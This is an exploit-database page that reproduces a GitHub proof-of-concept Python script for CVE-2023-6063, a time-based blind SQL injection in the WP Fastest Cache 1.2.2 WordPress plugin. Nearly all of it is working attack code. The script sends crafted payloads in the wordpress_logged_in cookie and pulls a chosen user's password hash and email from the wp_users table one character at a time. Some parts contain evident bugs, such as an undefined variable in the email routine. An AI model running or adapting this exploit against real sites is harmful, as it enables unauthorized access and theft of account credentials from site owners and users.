Exploit database

GH-1760c2524c53ef8c3f1c31a690c0e798

incommatose/cve-2023-6063-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-6063

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
incommatose/cve-2023-6063-pocRevision c9a3a7142b60

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 15,227 bytes
#!/usr/bin/python3
import sys
import argparse
import requests
import time
import string
from pwn import log
import signal

"""
    Created by @incommatose
    Exploit for CVE-2023-6063 (WP Fastest Cache 1.2.2) using
    Time Based SQL Injection to extract the hashed password and email address of a user
    from `wp_users` table.

    This vulnerability abuses the `wordpress_logged_in` default cookie value 
    for inject blind SQL queries and extract data from `wordpress` database. We determine a time in
    seconds for delay the server responses, in addition of a conditional statement, we can validate 
    characters with char by char comparission
"""
RED = '\033[91m'
GREEN = '\033[92m'
BLUE = '\033[94m'
RESET = '\033[0m'
chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation  # Printable chars

# Trap Ctrl + C
def def_handler(sig, frame):
    print(f"{RED}[!] Exiting...{RESET}")
    sys.exit(1)


"""
    Validates given username using specific delay
    
    Args:
        url (str): Full URL of the target Wordpress
        username (str): Name of the target user 
        delay (int): Time in seconds fot waiting the server responses
        vulnerable_cookie (str): Specify the name of the vulnerable cookie for exploit it
        status_code (int): Status code that indicates if it works
        debug (bool): Turn on/off more information about each request

    Returns:
        hash_value (str): Validated hashed password for a specific user

"""
def check_username(url, username, delay, vulnerable_cookie, status_code, debug):
    try:
        start_time = time.time()
        payload = f'" AND (SELECT (IF((BINARY(SELECT user_login FROM wp_users WHERE user_login="{username}" LIMIT 0,1)="{username}"),SLEEP({delay}), SLEEP(0))) FROM (SELECT 1)TempTable) AND "a"="a'

        cookies = {vulnerable_cookie: payload}
        response = requests.get(url, cookies=cookies)
        end_time = time.time()

        elapsed_time = end_time - start_time 
        if elapsed_time > delay and response.status_code == status_code:
            return str(username)

    except Exception as e:
        print(f"{RED}[-] Error: " + str(e) + f"{RESET}")


"""
    Extract password hash from `wp_users` table using specific delay in a request

    Args: 
        url (str): Full URL of the target Wordpress
        username (str): Name of the target user, this parameter isn't required
        delay (int): Time in seconds for waiting the server responses
        vulnerable_cookie (str): Specify the name of vulnerable cookie for exploit it
        status_code (int): Status code that indicates if it works
        debug: (bool): Turn on/off verbosity about each request
    
    Returns:
        hash_value (str): Validated hashed password for a specific user
"""
def dump_data(url, username, delay, vulnerable_cookie, status_code, debug):
    hash_value= ""

    bar2 = log.progress(f"Extracting data from {url}...")
    position = 1
    bar = log.progress("Testing char")
    if debug: debugging = log.progress("Payload")

    try:
        while True:
            for char in chars:
                bar.status(char) 
                start_time = time.time()

                payload = f'" AND (SELECT (IF((BINARY SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login="{username}" LIMIT 0,1),{position},1)="{char}"),SLEEP({delay}), SLEEP(0))) FROM (SELECT 1)TmpTable) AND "a"="a'

                if debug: debugging.status("\n" + payload)
                cookies = {vulnerable_cookie: payload}

                response = requests.get(url, cookies=cookies)
                end_time = time.time()
                elapsed_time = end_time - start_time

                # If injection works, server waits the (delay) seconds for repsonse
                if elapsed_time > delay and response.status_code == status_code:
                    hash_value += char 
                    bar2.status(hash_value)
                    is_valid_hash = check_hash(url, username, hash_value, delay, vulnerable_cookie, status_code, debug)
                    if is_valid_hash:
                        log.success(f"{GREEN}Valid Pass for {username}:{RESET} {is_valid_hash}")
                        sys.exit(0)
                    position +=1
                    break
    except Exception as e:
        print(f"{RED}[-] Error: " + str(e) + f"{RESET}")



"""
    Validates the dumped hashed password using specific delay
    
    Args:
        url (str): Full URL of the target Wordpress
        username (str): Name of the target user 
        hash_value (str): Returned value from dump_data function
        delay (int): Time in seconds fot waiting the server responses
        vulnerable_cookie (str): Specify the name of vulnerable cookie for exploit it
        status_code (int): Status code that indicates if it works
        debug (bool): Turn on/off more information about each request

    Returns:
        hash_value (str): Validated hashed password for a specific user
"""
def check_hash(url, username, hash_value, delay, vulnerable_cookie, status_code, debug):
    if debug:
        debugging = log.progress("Payload")
    hash_len = len(hash_value)
    try:
        start_time = time.time()
        payload = f'" AND (SELECT (IF((BINARY(SELECT user_pass FROM wp_users WHERE user_login="{username}" LIMIT 0,1)="{hash_value}"),SLEEP({delay}), SLEEP(0))) FROM (SELECT 1)TmpTable) AND "a"="a'
        if debug: debugging.status("\n" + payload)
        cookies = {vulnerable_cookie: payload}
        response = requests.get(url, cookies=cookies)
        end_time = time.time()

        elapsed_time = end_time - start_time
        if elapsed_time > delay and response.status_code == status_code:
            return str(hash_value)

    except Exception as e:
        print(f"{RED}[-] Error: " + str(e) + f"{RESET}")

"""
    Extract email value from `wp_users` table skipping username and '@' char 

    Args:
    
        url (str): Full URL of the target Wordpress
        username (str): Name of the target user, neccessary to skip it on email extraction
        delay (int): Time in seconds for waiting the server responses
        vulnerable_cookie (str): Specify the name of vulnerable cookie for exploit it
        status_code (int): Status code that indicates if it works
        debug (bool): Turn on/off verbosity about each request

    Returns:
        email_value (str): Full email address for a specific user

"""
def dump_email(url, username, delay, vulnerable_cookie, status_code, debug):
    domain_value= ""
    position = len(username) + 2 # + 2 for skip the '@' char

    bar2 = log.progress(f"Extracting email from {url}...")
    bar = log.progress("Testing char")
    if debug:
        debugging = log.progress("Payload")

    try:
        while True:
            for char in chars:
                bar.status(char)
                start_time = time.time()
                payload = f'" AND (SELECT (IF((BINARY SUBSTRING((SELECT user_email FROM wp_users WHERE user_login="{username}" LIMIT 0,1),{position},1)="{char}"),SLEEP({delay}), SLEEP(0))) FROM (SELECT 1)TempTable) AND "a"="a'
                
                if debug: debugging.status("\n" + payload)
                cookies = {vulnerable_cookie: payload}
                response = requests.get(url, cookies=cookies)
                end_time = time.time()

                elapsed_time = end_time - start_time
                if elapsed_time > delay:
                    domain_value += char
                    bar2.status(domain_value)
                    position += 1
                    valid_domain = check_domain(url, domain_value, username, delay, vulnerable_cookie, status_code, debug)
                    if valid_email:
                        log.success(f"Email for admin: {username}@{valid_email}")
                        sys.exit(0)
                    break

    except Exception as e:
        print(f"{RED}[-] Error: " + str(e) + f"{RESET}")

"""
    Validates the dumped hashed password using specific delay
    
    Args:
        url (str): Full URL of the target Wordpress
        domain_value (str): Name of the target domain email 
        delay (int): Time in seconds for waiting the server responses
        vulnerable_cookie (str): Specify the name of the vulnerable cookie for exploit it
        debug (bool): Turn on/off more information about each request

    Returns:
        hash_value (str): Validated hashed password for a specific user

"""
def check_domain(url, domain_value, username, delay, vulnerable_cookie, status_code, debug):
    try:
        email = username + "@" + domain_value
        start_time = time.time()
        payload = f'" AND (SELECT (IF((BINARY(SELECT user_email FROM wp_users WHERE user_login="{username}" LIMIT 0,1)="{email}"),SLEEP({delay}), SLEEP(0))) FROM (SELECT 1)TempTable) AND "a"="a'

        cookies = {vulnerable_cookie: payload}
        response = requests.get(url, cookies=cookies)
        end_time = time.time()

        elapsed_time = end_time - start_time 
        if elapsed_time > delay and response.status_code == status_code:
            return str(email)

    except Exception as e:
        print(f"{RED}[-] Error: " + str(e) + f"{RESET}")

"""
    Getting parameters
"""
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="""
    PoC for CVE-2023-6063 (WP Fastest Cache 1.2.2) using
    Time Based SQL Injection to extract the hashed password for a user
    from `wp_users` table""")

    parser.add_argument("-u", "--url", help="Full URL to Wordpress for testing CVE-2023-6063", type=str, required=True)
    parser.add_argument("--username", help="Define a user to extract its hashed pass", default="admin", type=str, required=False)
    parser.add_argument("-d", "--delay", help="Time for wait web response default 5, minimum 2", default=5, type=int, required=False)
    parser.add_argument("-H", "--hash", help="Hash to verify against wp_users table, if the hash contains specials characters, please use single quotes -> '<hash>'", type=str, required=False)

    parser.add_argument("--domain", help="Name of the domain for email validation", type=str, required=False)
    parser.add_argument("-c", "--cookie", help="Specify a cookie name if it's different on your context", default="wordpress_logged_in", type=str, required=False)
    parser.add_argument("--status-code", help="Use a specific positive status code, default 200", default=200, required=False, type=int)
    parser.add_argument("--debug", help="More verbosity", required=False, action='store_true', default=False)
    parser.add_argument("--just-hash", help="Just extract hashed password", required=False, action='store_true', default=False)
    parser.add_argument("--just-email", help="Just extract email value for a user", required=False, action='store_true', default=False)

    args = parser.parse_args()
    
    signal.signal(signal.SIGINT, def_handler)
    
    print("[*] WP Fastest Ceche 1.2.2 - Unauthenticated Blind SQL Injection PoC (CVE-2023-6063)")
    print("[*] Attacking...")
    
    if args.debug:
        print(f"[*] URL: {BLUE}{args.url}{RESET}")
        print(f"[*] Delay time: {BLUE}{args.delay}{RESET} (default 5, minimum 2)")
        print(f"[*] Username: {BLUE}{args.username}{RESET}")
    
    # Validating options
    if args.just_hash or args.just_email:
        if args.hash and args.just_hash:
            print(f"{RED}[-] Please don't use --just_hash and --hash paramters both...{RESET}")
            sys.exit(1)

        elif args.just_email and args.domain:
            print(f"{RED}[-] Please don't use --just_email and --domain parameters both...{RESET}")
            sys.exit(1)

        elif args.just_hash and args.just_email:
            print(f"{RED}[-] Please don't use --just-hash and --just-email parameters both{RESET}")
            sys.exit(1)
        elif args.just_hash and args.domain:
            print(f"{RED}[-] Please don't use --just-hash and --domain parameters both{RESET}")
            sys.exit(1)
    elif args.username != "admin" and (args.hash is None and args.domain is None and args.just_email is None and args.just_hash is None):
        log.progress(f"Validating username {BLUE}{args.username}{RESET}")
        
        is_valid_username = check_username(args.url, args.username, args.delay, args.cookie, args.status_code, args.debug)
        if is_valid_username: 
            log.success(f"{GREEN}{is_valid_username} is a valid username{RESET}")
            if args.just_hash:
                is_valid_hash = dump_data(args.url, args.username, args.delay, args.cookie, args.status_code, args.debug)
                if is_valid_hash:
                    log.success(f"{GREEN}{is_valid_hash} is a valid hashed passowrd!{RESET}")
                    sys.exit(0)
            sys.exit(0)
        else:
            print(f"{RED}[-] Invalid username{RESET}")
            sys.exit(1)

    elif args.hash and not args.just_hash:
        if args.debug: 
            print(f"[*] Hash: {BLUE}{args.hash}{RESET}")
        log.progress(f"Validating hashed password for {BLUE}{args.username}{RESET}")
        is_valid_hash = check_hash(args.url, args.username, args.hash, args.delay, args.cookie, args.status_code, args.debug) 
        
        if is_valid_hash:
            log.success(f"{GREEN}{is_valid_hash} is a valid hashed password!{RESET}")
            sys.exit(0)
        else:
            print(f"{RED}[-] Invalid credentials{RESET}")
            sys.exit(1)

    elif args.domain and not args.just_hash:
        if args.debug:
            print(f"[*] Email: {BLUE}{args.username}@{args.domain}{RESET}")
        log.progress(f"Validating email for {BLUE}{args.username}{RESET}")
                    
        is_valid_email = check_domain(args.url, args.domain, args.username, args.delay, args.cookie, args.status_code, args.debug)
        if is_valid_email:
            log.success(f"{GREEN}{is_valid_email} is a valid email!{RESET}")
            sys.exit(0)
        else:
            print(f"{RED}[-] Invalid credentials{RESET}")
            sys.exit(1)
    if args.cookie != "wordpress_logged_in":
        if args.debug:
            print(f"[*] Cookie: {BLUE}{args.cookie}{RESET}")
            log.progress(f"Using custom cookie `{BLUE}{args.cookie}{RESET}`") 
             
    
    if args.just_email and not args.just_hash:
        is_valid_email = dump_email(args.url, args.username, args.delay, args.cookie, args.status_code, args.debug)
        if is_valid_email:
            log.success(f"{GREEN}{is_valid_email} is a valid email!{RESET}")
            sys.exit(0)
    is_valid_hash = dump_data(args.url, args.username, args.delay, args.cookie, args.status_code, args.debug)
    if is_valid_hash:
        log.success(f"{GREEN}{is_valid_hash} is a valid hashed passowrd!{RESET}")
        if not args.just_hash:
            is_valid_email = dump_email(args.url, args.username, args.delay, args.cookie, args.status_code, args.debug)
            if is_valid_email:
                log.success(f"{GREEN}{is_valid_email} is a valid email!{RESET}")
            
        sys.exit(0)
    else:
        print(f"{RED}[-] Invalid credentials{RESET}")
        sys.exit(1)